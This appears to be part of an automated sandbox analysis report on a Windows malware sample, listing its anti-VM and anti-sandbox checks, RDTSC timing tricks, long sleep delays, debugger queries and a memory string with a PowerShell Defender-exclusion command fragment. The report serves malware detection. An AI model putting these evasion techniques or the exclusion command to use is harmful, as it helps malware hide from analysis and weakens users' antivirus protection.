Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SKlGhwkzTi.exe PID: 6896, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 00000000032E85E4 second address: 00000000032E85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 00000000032E896E second address: 00000000032E8974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Code function: 4_2_004088A0 rdtsc

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe TID: 6900	Thread sleep time: -103480s >= -30000s
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe TID: 6948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\help.exe TID: 3120	Thread sleep time: -38000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Thread delayed: delay time: 103480
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000006.00000000.706696633.000000000A9A1000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.698375339.0000000004791000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: explorer.exe, 00000006.00000000.700072671.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000006.00000000.704598471.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000006.00000000.700611112.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.704598471.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.725511730.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000006.00000000.700072671.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000006.00000000.704737422.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000006.00000000.700072671.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000006.00000000.704801923.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000006.00000000.700072671.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Code function: 4_2_004088A0 rdtsc

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Code function: 4_2_00409B10 LdrLoadDll,

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E69A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018961A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018961A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019249A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019249A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019249A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019249A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018F41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01884120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01884120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01884120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01884120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01884120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869080 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A90AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018FB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018640E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018640E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018640E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018658EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01934015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01934015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01880050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01880050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01922073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01931074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01871B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01871B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0191D380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192138A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892397 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01894BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01894BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01894BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01935BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0188DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018903E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018903E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018903E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018903E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018903E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018903E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192131B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01938B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01893B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01893B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018652A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018652A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018652A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018652A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018652A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01878A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01883A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01865210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01865210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01865210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01865210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A4A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A4A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01869240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192EA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018F4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A927A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0191B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0191B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01938A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01862D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01862D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01862D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01862D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01862D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018935A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01891DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01891DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01891DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019305AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019305AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018E6DC9 mov eax, dword ptr fs:[00000030h]
